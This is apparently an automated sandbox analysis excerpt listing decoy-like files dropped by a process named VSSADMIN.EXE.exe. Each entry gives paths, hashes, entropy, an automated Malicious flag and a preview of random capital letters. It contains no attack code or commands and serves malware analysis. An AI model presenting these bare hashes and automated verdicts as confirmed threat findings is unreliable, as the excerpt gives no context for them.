Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	true
Reputation:	low
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\XZXHAVGRAG.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
SHA-512:	FB96A5E674AE29C3AC9FC495E9C75B103AE4477E2CA370235ED8EA831212AC9CB1543CB3C3F61FD00C8B380836FE1CA679F40739D01C5DDE782C7297C31F4F3A
Malicious:	false
Reputation:	low
Preview:	XZXHAVGRAGWUZPDZUEGAYKLOJAATOVXJVRJCLWZVJFOFPZNHYWDUACWAEZMWROZFSNVNLUZTIGQHRPFNIXZWAQNKEFFVMFVJEYHESHQWKICFNAONPPGGSABXPCYNBZITQCMUVOCKUUGGEKLAFNXLBOWPVKEOIBLWWAPOYVIECYONJSQKQQDXGYONJXNAQTSMYDMXZYXYEGULUXOLZALCFDXCFNFKPZDKANUFUXWMRLBIQALSWLXEXAFGLOYIFRMFQEZVUTIKXYTPJYCVKCQFZXEECZIXEIHQZQQYTVHKAQLEKMWMZZULQXNCKIJZACKDTKVLWIVBKFQXXOMIGVNYLPAXZFSMAZJTXJUXMZPVKWUQVNXGFUJUQLXWUJWXXGWFDEHIUZKLUQKWAGSXVVNNFXCYWQGRDZCZRLRYXTMLQRGEHRFDGZJOZZKKYLKBWQOZXHGQWMYFROUTIBGKPARBJPOEDNOQMKUEALEVNBPCUIKVTPAWCUIHGVFJWDYFDWTASWSIDDELYILSJEFAACQCZMSARBUAQIRFFLJJMHBVZYFUUTOLDYGUUVIYGJYNXGWJCYUYVJKCVNACSGWHTSOCDOFFPNNHQEMEAXXRINULLPFMNSQUWWIGEJQABGOQLKIXTZYHHQQTOZYLTNJMMWELZZPDIDHXRBCJGZUDMDGVMAEUIWFYWGIHBTOBLWXIEGHJRIDDBTOXKXOOIAAJUPCJRNMROGCUNSCGQYEEZLWOYIYMJPGKLDXEOGUAUHNUJCEFMGEKRBWDAHWRXWVSFQCURHTSGJQWPJHWEAHXCEQVKJRECGPJBGCDBEGBIRMVXHGYHMWJXIXMQHTKSZFVSATJKNAJOYAJNKDTKZMBHRENBCAYUBASQOTKKVNCTZIOGOUVVDNXYVJFHXTPSZMOWWCPPMBMLCTTPGONDVJOVLCMTWRESLSDGLNGAGTIXVYAJZVBYYHWAMERRRQXMWVCYELNGPYXOGOPHWVXCTQIKXSK

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Reputation:	low
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	low
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Reputation:	low
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Reputation:	low
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Reputation:	low
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Documents\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBM